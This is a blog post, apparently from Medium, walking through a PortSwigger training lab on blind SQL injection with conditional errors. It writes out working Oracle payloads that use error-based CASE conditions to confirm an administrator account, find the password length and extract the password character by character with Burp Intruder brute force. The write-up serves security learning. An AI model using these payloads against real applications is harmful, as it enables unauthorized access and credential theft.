            <content:encoded><![CDATA[<p>This is a walkthrough of the portswigger lab: Blind SQL Injection With Conditional Errors.</p><p>This lab contains a sql vulneribility in the tracking cookie ID. The query does not return any results and application does not behave differently if the query returns any rows or not, but as long as the query is correct it will not show an error. If the query is wrong it will show a 5xx serror message.</p><p>We know that there is a table called users with columns username and password and we have to login as administrator. So we have to come up with a query that give us an error message if it is true. Like if we make a sql query asking that is there a user named administrator if it is true then it should give an error message. So how do we do that?</p><p>Well we use these type of payload:</p><p>SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual</p><pre>Example 1: xyz&#39; AND SELECT CASE WHEN (1=2) THEN 1/0 ELSE END</pre><p>Assume that the xyz is a tracking ID with sql vulnerability the single quotation mark ends the tracking query so we can inject our own. We are giving it a condition that if 1=2 then perform 1/0 (which gives an error because 1/0 is not possible) the query does not perform 1/0 because 1 is never equal to 2 so it jumps to the else conditon making it end.</p><p>The website behaves normally.</p><pre>Example 2: xyz&#39; AND SELECT CASE WHEN (1=1) THEN 1/0 ELSE END</pre><p><strong>NOTE: These are just examples the correct syntax depends on the database type and these payload are just for understanding the concept of how does CASE works in Blind SQL.</strong></p><p>But here 1 is always equal to one so the query performs 1/0 which gives a 500 error message. We will use exactly this technique to ask the website questions that we want.</p><p>Let’s Start!!</p><p>first we will intercept the request in burpsuite and send it to repeater.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*_oJxFCdiSk01SBYO0oqtoQ.png" /></figure><p>Query I used:</p><pre>Payload 1: &#39;+AND (SELECT CASE WHEN(1=2) THEN TO_CHAR(1/0) ELSE&#39;a&#39; END FROM dual)=&#39;a<br>Payload 2: &#39;+AND (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE&#39;a&#39; END FROM dual)=&#39;a</pre><p>Just clarifying some things here,</p><ul><li>This lab uses oracle database so we have to make our query compatible, you can use this cheatsheet for more understanding. <a href="https://portswigger.net/web-security/sql-injection/cheat-sheet">https://portswigger.net/web-security/sql-injection/cheat-sheet</a></li><li>“+” is a url encoded character for space</li><li>“TO_CHAR(1/0)” tells the oracle to convert the number into string. So to actually convert it to text, it will calculate it first which is what gives an error.</li><li>“dual” is a default table in oracle.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*RaEOYX3mtQv9kfRrcimt_g.png" /></figure><p>The first payload worked fine because 1 is not equal to 2 so the query jumped to the else condition which is a=a.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*8s-sR5blMPkSgXKrIXciaw.png" /></figure><p>The Second one gave 1/0 error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*sCDf9eAblTPDi5RVYdWScQ.png" /></figure><pre>&#39; AND (SELECT CASE WHEN(1=1) THEN TO_CHAR(1/0) ELSE &#39;a&#39; END FROM users WHERE username=&#39;administrator&#39;)=&#39;a</pre><p>If there is a table called users with username administrator the test 1=1 then 1/0 will run hence giving us an error which confirms that there is a user named administrator. If you put a non-existant username then the website will behave normally giving 200 OK .</p><p>Now we have to find the length of the password. Mostly the password of labs that I have come across on port swigger academy are 20 characters long, just like this one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*EqWPUQscvHzDnnIev8t8ig.png" /></figure><pre>&#39; AND (SELECT CASE WHEN(username=&#39;administrator&#39; AND LENGTH(password)=20)THEN TO_CHAR(1/0) ELSE &#39;a&#39; END FROM users)=&#39;a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*XQPhk3wVNG5j90gL8jvMEg.png" /></figure><pre>&#39; AND (SELECT CASE WHEN(SUBSTR(password,1,1)&gt;&#39;m&#39;) THEN TO_CHAR(1/0) ELSE&#39;a&#39; END FROM users WHERE username=&#39;administrator&#39;)=&#39;a</pre><p>SUBSTR: Extract the part of the string with the specified length.</p><p>The 1st character from the password is extracted then examine if it is greater than m. The query does not returned an error message which proves that the 1st character is less than m, meaning alphabets before m it also includes number from 0–9 because oracle compares strings character-by-character using something like ASCII ordering where digits come before alpphabets.</p><p>We know that the password is 20 characters long. We will now use intruder to do a bruteforce attack.</p><p><strong>Change the ‘&gt;’ sign to = for the attack</strong></p><pre>&#39; AND (SELECT CASE WHEN(SUBSTR(password,1,1)=&#39;m&#39;) THEN TO_CHAR(1/0) ELSE&#39;a&#39; END FROM users WHERE username=&#39;administrator&#39;)=&#39;a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OMTu54_w6xf_pYf4MIi79A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u26KZGQ6GW4s1_PRvBn9Kw.png" /></figure><p>A clusterbomber attack allow us to use multiple payloads in one attack. You can configure the payload from payload configurations. The first payload type will be numbers from 1 to 20 because it’s 20 charac long and the second Brute Forcer. Make sure to set min and max length to 1. You want single character to iterate.</p><p>Now in simple words the attack will iterate each number from 1st payload with each of the character from the 2nd payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*fbD9xcyaOVzqMSuexQNHnQ.png" /></figure><p>You can check each and every request sent by the intruder and filter request with 500 errror because there is your password. Then arrange the password sequencely.</p><p>This attack took me more than 2 hours because there were 720 requests and I am also using burp suite community edition.</p><p>You can also use a sniper attack where you do an attack for each character individually by just changing the character length every time. That is more fast way.</p><pre>&#39; AND (SELECT CASE WHEN(SUBSTR(password,1,1)=&#39;m&#39;) THEN TO_CHAR(1/0) ELSE&#39;a&#39; END FROM users WHERE username=&#39;administrator&#39;)=&#39;a<br>&#39; AND (SELECT CASE WHEN(SUBSTR(password,2,1)=&#39;m&#39;) THEN TO_CHAR(1/0) ELSE&#39;a&#39; END FROM users WHERE username=&#39;administrator&#39;)=&#39;a<br>&#39; AND (SELECT CASE WHEN(SUBSTR(password,3,1)=&#39;m&#39;) THEN TO_CHAR(1/0) ELSE&#39;a&#39; END FROM users WHERE username=&#39;administrator&#39;)=&#39;a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pYgJVPa9Tc2D4tEBvyM5OQ.png" /></figure><p>After getting the password we just have to login and the lab is solved!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=203af72c43d6" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>